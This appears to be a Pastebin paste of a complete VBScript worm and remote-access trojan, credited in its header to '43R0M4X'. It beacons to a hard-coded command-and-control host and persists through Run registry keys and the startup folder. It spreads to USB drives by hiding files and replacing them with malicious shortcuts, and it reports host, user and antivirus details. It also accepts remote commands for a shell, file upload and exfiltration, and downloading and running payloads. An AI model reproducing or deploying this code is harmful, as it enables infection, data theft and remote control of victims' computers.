Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Microsoft (R) Windows Script Host Version 5.8
- Copyright (C) Microsoft Corporation. All rights reserved.
- '++++++++++++++="WORM MODIFIED BY 43R0M4X"=++++++++++++++'
- host = "43r0m4x.linkpc.net"
- port = 34
- installdir = "%temp%"
- lnkfile = true
- lnkfolder = true
- dim shellobj
- set shellobj = wscript.createobject("wscript.shell")
- dim filesystemobj
- set filesystemobj = createobject("scripting.filesystemobject")
- dim httpobj
- set httpobj = createobject("msxml2.xmlhttp")
- Dim fs, f, fso
- Set fs = CreateObject("Scripting.FileSystemObject")
- Set fso = CreateObject("Scripting.FileSystemObject")
- installname = wscript.scriptname
- ap = split(installname,".")
- installbatname = ap(0) & ".bat"
- startup = shellobj.specialfolders ("startup") & "\"
- installdir = shellobj.expandenvironmentstrings(installdir) & "\"
- if not filesystemobj.folderexists(installdir) then installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
- spliter = "<" & "|" & ">"
- sleep = 5000
- dim response
- dim cmd
- dim param
- info = ""
- usbspreading = ""
- startdate = ""
- Dim sKey, bFound
- skey = "HKEY_CURRENT_USER\software\microsoft\windows\Currentversion\Run\" & split (installname,".")(0)
- with CreateObject("WScript.Shell")
- on error resume next ' turn off error trapping
- sValue = .regread(sKey) ' read attempt
- bFound = (err.number = 0) ' test for success
- on error goto 0 ' restore error trapping
- end with
- if not bFound then
- upstart
- wscript.quit
- end if
- dim oneonce
- Dim strComp, security
- strComp = "."
- Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComp & "\root\cimv2")
- Set colOperatingSystems = objWMIService.ExecQuery ("Select * from Win32_OperatingSystem")
- For Each objOperatingSystem in colOperatingSystems
- if instr(objOperatingSystem.Caption, "XP") <> 0 then
- security = XPSub
- else
- security = VistaSub
- end if
- Next
- on error resume next
- instance
- while true
- install
- response = ""
- response = post ("is-ready","")
- cmd = split (response,spliter)
- select case cmd (0)
- case "excecute"
- param = cmd (1)
- execute param
- case "update"
- param = cmd (1)
- oneonce.close
- set oneonce = filesystemobj.opentextfile (installdir & installname ,2, false)
- oneonce.write param
- oneonce.close
- shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
- wscript.quit
- case "uninstall"
- uninstall
- case "send"
- download cmd (1),cmd (2)
- case "site-send"
- sitedownloader cmd (1),cmd (2)
- case "recv"
- param = cmd (1)
- upload (param)
- case "enum-driver"
- post "is-enum-driver",enumdriver
- case "enum-faf"
- param = cmd (1)
- post "is-enum-faf",enumfaf (param)
- case "enum-process"
- post "is-enum-process",enumprocess
- case "cmd-shell"
- param = cmd (1)
- post "is-cmd-shell",cmdshell (param)
- case "delete"
- param = cmd (1)
- deletefaf (param)
- case "exit-process"
- param = cmd (1)
- exitprocess (param)
- case "sleep"
- param = cmd (1)
- sleep = eval (param)
- end select
- wscript.sleep sleep
- wend
- sub cleaner
- on error resume next
- Set service = GetObject("winmgmts:\\" & computer & "\root\cimv2")
- Set results = service.ExecQuery(" Select * from Win32_Process where Name ='" & process & "'")
- for each test in results
- if MyId = test.processID then
- ' nothing
- else
- ShellObject.Run "Taskkill /F /PID " & test.processID ,0
- end if
- Next
- for each file in filesystemobj.getfolder(installdir).Files
- if instr(file.name,".vbs") then
- if file.name <> installname then
- shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (file.name,".")(0)
- shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (file.name,".")(0)
- filesystemobj.deletefile installdir & file.name ,true
- end if
- end if
- Next
- for each file in filesystemobj.getfolder(startup).Files
- if instr(file.name,".vbs") then
- if file.name <> installname then
- shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (file.name,".")(0)
- shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (file.name,".")(0)
- filesystemobj.deletefile startup & file.name ,true
- end if
- end if
- Next
- end sub
- sub createbat (directory)
- Set MyFile = fso.CreateTextFile(directory & installbatname , True)
- MyFile.WriteLine("@Echo off")
- MyFile.WriteLine("Start wscript.exe " & installname)
- MyFile.WriteLine("exit")
- MyFile.Close
- Set f = fs.GetFile(directory & installbatname)
- f.attributes = 2 + 4
- end sub
- Function MyId
- Dim oShell, sCmd, oWMI, oChldPrcs, oCols, lOut
- lOut = 0
- Set oShell = CreateObject("WScript.Shell")
- Set oWMI = GetObject(_
- "winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
- sCmd = "/K " & Left(CreateObject("Scriptlet.TypeLib").Guid, 38)
- oShell.Run "%comspec% " & sCmd, 0
- WScript.Sleep 100 'For healthier skin, get some sleep
- Set oChldPrcs = oWMI.ExecQuery(_
- "Select * From Win32_Process Where CommandLine Like '%" & sCmd & "'", ,32)
- For Each oCols In oChldPrcs
- lOut = oCols.ParentProcessId 'get parent
- oCols.Terminate 'process terminated
- Exit For
- Next
- Set oChldPrcs = Nothing
- Set oWMI = Nothing
- Set oShell = Nothing
- CurrProcessId = lOut
- End Function
- sub install
- on error resume next
- dim lnkobj
- dim filename
- dim foldername
- dim fileicon
- dim foldericon
- REM starter
- upstart
- cleaner
- for each drive in filesystemobj.drives
- if drive.isready = true then
- if drive.freespace > 0 then
- if drive.drivetype = 1 then
- filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
- if filesystemobj.fileexists (drive.path & "\" & installname) then
- filesystemobj.getfile(drive.path & "\" & installname).attributes = 2+4
- end if
- call createbat(drive.path & "\")
- for each file in filesystemobj.getfolder( drive.path & "\" ).Files
- if not lnkfile then exit for
- if instr (file.name,".") then
- if lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
- if lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "bat" then
- file.attributes = 2+4
- if ucase (file.name) <> ucase (installname) then
- app = split(file.name,".")
- filename = app(0)
- for i=1 to ubound(app) -1
- filename = filename & "." & app(i)
- next
- set lnkobj = shellobj.createshortcut (drive.path & "\" & filename & ".lnk")
- lnkobj.windowstyle = 7
- lnkobj.targetpath = "cmd.exe"
- lnkobj.workingdirectory = ""
- lnkobj.arguments = "/c start " & replace(installbatname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
- fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")
- if instr (fileicon,",") = 0 then
- lnkobj.iconlocation = file.path
- else
- lnkobj.iconlocation = fileicon
- end if
- lnkobj.save()
- end if
- end if
- end if
- end if
- next
- for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
- if not lnkfolder then exit for
- if folder.name <> "System Volume Information" then
- folder.attributes = 2+4
- foldername = folder.name
- set lnkobj = shellobj.createshortcut (drive.path & "\" & foldername & ".lnk")
- lnkobj.windowstyle = 7
- lnkobj.targetpath = "cmd.exe"
- lnkobj.workingdirectory = ""
- lnkobj.arguments = "/c start " & replace(installbatname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
- foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\")
- if instr (foldericon,",") = 0 then
- lnkobj.iconlocation = folder.path
- else
- lnkobj.iconlocation = foldericon
- end if
- lnkobj.save()
- end if
- next
- end If
- end If
- end if
- next
- err.clear
- end sub
- sub uninstall
- on error resume next
- dim filename
- dim foldername
- filesystemobj.deletefile installdir & "system.bat" ,true
- filesystemobj.deletefile startup & "system.bat" ,true
- filesystemobj.deletefile wscript.scriptfullname ,true
- for each drive in filesystemobj.drives
- if drive.isready = true then
- if drive.freespace > 0 then
- if drive.drivetype = 1 then
- for each file in filesystemobj.getfolder ( drive.path & "\").files
- on error resume next
- if instr (file.name,".") then
- if lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
- file.attributes = 0
- if ucase (file.name) <> ucase (installname) then
- filename = split(file.name,".")
- filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
- else
- filesystemobj.deletefile (drive.path & "\" & file.name)
- end If
- else
- filesystemobj.deletefile (file.path)
- end if
- end if
- next
- for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
- folder.attributes = 0
- next
- end if
- end if
- end if
- next
- wscript.quit
- end sub
- function post (cmd ,param)
- post = param
- httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
- httpobj.setrequestheader "user-agent:",information
- httpobj.send param
- post = httpobj.responsetext
- end function
- function information
- on error resume next
- if inf = "" then
- inf = hwid & spliter
- inf = inf & shellobj.expandenvironmentstrings("%computername%") & spliter
- inf = inf & shellobj.expandenvironmentstrings("%username%") & spliter
- set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
- set os = root.execquery ("select * from win32_operatingsystem")
- for each osinfo in os
- inf = inf & osinfo.caption & spliter
- exit for
- next
- inf = inf & "plus" & spliter
- inf = inf & security & spliter
- inf = inf & usbspreading
- information = inf
- else
- information = inf
- end if
- end function
- sub upstart ()
- on error resume Next
- shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\Currentversion\Run\" & split (installname,".")(0), chrw(34) & installdir & installbatname & chrw(34) , "REG_SZ"
- shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\Currentversion\Run\" & split (installname,".")(0), chrw(34) & installdir & installbatname & chrw(34) , "REG_SZ"
- filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
- 'filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
- call starter(startup)
- call starter(installdir)
- Set f = fs.GetFile(installdir & installname)
- f.attributes = 2 + 4
- Set f = fs.GetFolder(startup)
- f.attributes = 2 + 4
- end sub
- sub starter (directory)
- on error resume Next
- Set MyFile = fso.CreateTextFile(directory & installbatname , True)
- MyFile.WriteLine("@echo off")
- MyFile.WriteLine("start wscript " & ChrW(34) & installdir & installname & ChrW(34) )
- MyFile.WriteLine("exit")
- MyFile.close
- Set f = fs.GetFile(directory & installbatname)
- f.attributes = 2 + 4
- end sub
- function hwid
- on error resume next
- set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
- set disks = root.execquery ("select * from win32_logicaldisk")
- for each disk in disks
- if disk.volumeserialnumber <> "" then
- hwid = disk.volumeserialnumber
- exit for
- end if
- next
- end function
- function VistaSub
- Set oWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComp & "\root\SecurityCenter2")
- Set colAVItems = oWMI.ExecQuery("Select * from AntiVirusProduct")
- For Each objAntiVirusProduct In colAVItems
- VistaSub = VistaSub & objAntiVirusProduct.DisplayName
- Next
- if VistaSub = " " then
- VistaSub = "Nan-AV"
- end if
- end function
- function XPSub
- XPSub = " "
- Set oWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComp & "\root\SecurityCenter")
- Set colAVItems = oWMI.ExecQuery("Select * from AntiVirusProduct")
- For Each objAntiVirusProduct In colAVItems
- XPSub = XPSub & objAntiVirusProduct.DisplayName
- Next
- if XPSub = " " then
- XPSub = "Nan-AV"
- end if
- end function
- function instance
- on error resume next
- usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
- if usbspreading = "" then
- if lcase ( mid(wscript.scriptfullname,2)) = ":\" & lcase(installname) then
- usbspreading = "true - " & date
- shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ"
- else
- usbspreading = "false - " & date
- shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ"
- end if
- end If
- upstart
- REM starter
- set scriptfullnameshort = filesystemobj.getfile (wscript.scriptfullname)
- set installfullnameshort = filesystemobj.getfile (installdir & installname)
- if lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then
- shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
- wscript.quit
- end If
- err.clear
- set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
- if err.number > 0 then wscript.quit
- end function
- sub sitedownloader (fileurl,filename)
- strlink = fileurl
- strsaveto = installdir & filename
- set objhttpdownload = createobject("msxml2.xmlhttp" )
- objhttpdownload.open "get", strlink, false
- objhttpdownload.send
- set objfsodownload = createobject ("scripting.filesystemobject")
- if objfsodownload.fileexists (strsaveto) then
- objfsodownload.deletefile (strsaveto)
- end if
- if objhttpdownload.status = 200 then
- dim objstreamdownload
- set objstreamdownload = createobject("adodb.stream")
- with objstreamdownload
- .type = 1
- .open
- .write objhttpdownload.responsebody
- .savetofile strsaveto
- .close
- end with
- set objstreamdownload = nothing
- end if
- if objfsodownload.fileexists(strsaveto) then
- shellobj.run objfsodownload.getfile (strsaveto).shortpath
- end if
- end sub
- sub download (fileurl,filedir)
- if filedir = "" then
- filedir = installdir
- end if
- strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
- set objhttpdownload = createobject("msxml2.xmlhttp")
- objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
- objhttpdownload.send ""
- set objfsodownload = createobject ("scripting.filesystemobject")
- if objfsodownload.fileexists (strsaveto) then
- objfsodownload.deletefile (strsaveto)
- end if
- if objhttpdownload.status = 200 then
- dim objstreamdownload
- set objstreamdownload = createobject("adodb.stream")
- with objstreamdownload
- .type = 1
- .open
- .write objhttpdownload.responsebody
- .savetofile strsaveto
- .close
- end with
- set objstreamdownload = nothing
- end if
- if objfsodownload.fileexists(strsaveto) then
- shellobj.run objfsodownload.getfile (strsaveto).shortpath
- end if
- end sub
- function upload (fileurl)
- dim httpobj,objstreamuploade,buffer
- set objstreamuploade = createobject("adodb.stream")
- with objstreamuploade
- .type = 1
- .open
- .loadfromfile fileurl
- buffer = .read
- .close
- end with
- set objstreamdownload = nothing
- set httpobj = createobject("msxml2.xmlhttp")
- httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
- httpobj.send buffer
- end function
- function enumdriver ()
- for each drive in filesystemobj.drives
- if drive.isready = true then
- enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
- end if
- next
- end Function
- function enumfaf (enumdir)
- enumfaf = enumdir & spliter
- for each folder in filesystemobj.getfolder (enumdir).subfolders
- enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
- next
- for each file in filesystemobj.getfolder (enumdir).files
- enumfaf = enumfaf & file.name & "|" & file.size & "|" & "f" & "|" & file.attributes & spliter
- next
- end function
- function enumprocess ()
- on error resume next
- set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
- set colitems = objwmiservice.execquery("select * from win32_process",,48)
- dim objitem
- for each objitem in colitems
- enumprocess = enumprocess & objitem.name & "|"
- enumprocess = enumprocess & objitem.processid & "|"
- enumprocess = enumprocess & objitem.executablepath & spliter
- next
- end function
- sub exitprocess (pid)
- on error resume next
- shellobj.run "taskkill /F /T /PID " & pid,7,true
- end sub
- sub deletefaf (url)
- on error resume next
- filesystemobj.deletefile url
- filesystemobj.deletefolder url
- end sub
- function cmdshell (cmd)
- dim httpobj,oexec,readallfromany
- set oexec = shellobj.exec ("%comspec% /c " & cmd)
- if not oexec.stdout.atendofstream then
- readallfromany = oexec.stdout.readall
- elseif not oexec.stderr.atendofstream then
- readallfromany = oexec.stderr.readall
- else
- readallfromany = ""
- end if
- cmdshell = readallfromany
- end function
Add Comment
Please, Sign In to add comment